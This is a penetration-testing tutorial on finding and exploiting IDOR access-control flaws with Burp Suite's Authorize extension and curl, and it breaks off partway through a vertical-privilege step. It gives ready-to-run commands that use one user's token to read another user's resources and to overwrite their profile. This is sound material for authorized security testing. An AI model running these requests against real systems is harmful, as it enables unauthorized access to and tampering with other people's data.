Exploiting IDOR Vulnerabilities

When to Use

• During authorized penetration tests when testing access control on resource endpoints
• When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
• For validating that object-level authorization is enforced across all CRUD operations
• When testing multi-tenant applications where users should only access their own data
• During bug bounty programs targeting broken access control vulnerabilities

Prerequisites

• Authorization: Written penetration testing agreement for the target application
• Burp Suite Professional: With Authorize extension installed from BApp Store
• Two test accounts: At least two separate user accounts with different permission levels
• Burp Authorize Extension: For automated IDOR testing across sessions
• curl/httpie: For manual request crafting
• Browser: Configured to proxy through Burp Suite

Workflow

Step 1: Map All Object References in the Application

Identify every endpoint that references objects by ID across the application.

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

Step 2: Configure Burp Authorize Extension for Automated Testing

Set up the Authorize extension to automatically replay requests with a different user's session.

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

Step 3: Test Horizontal IDOR (Same Privilege Level)

Attempt to access resources belonging to another user at the same privilege level.

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

Step 4: Test Vertical IDOR (Cross Privilege Level)

Attempt to access admin or elevated resources with a regular user token.

# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \

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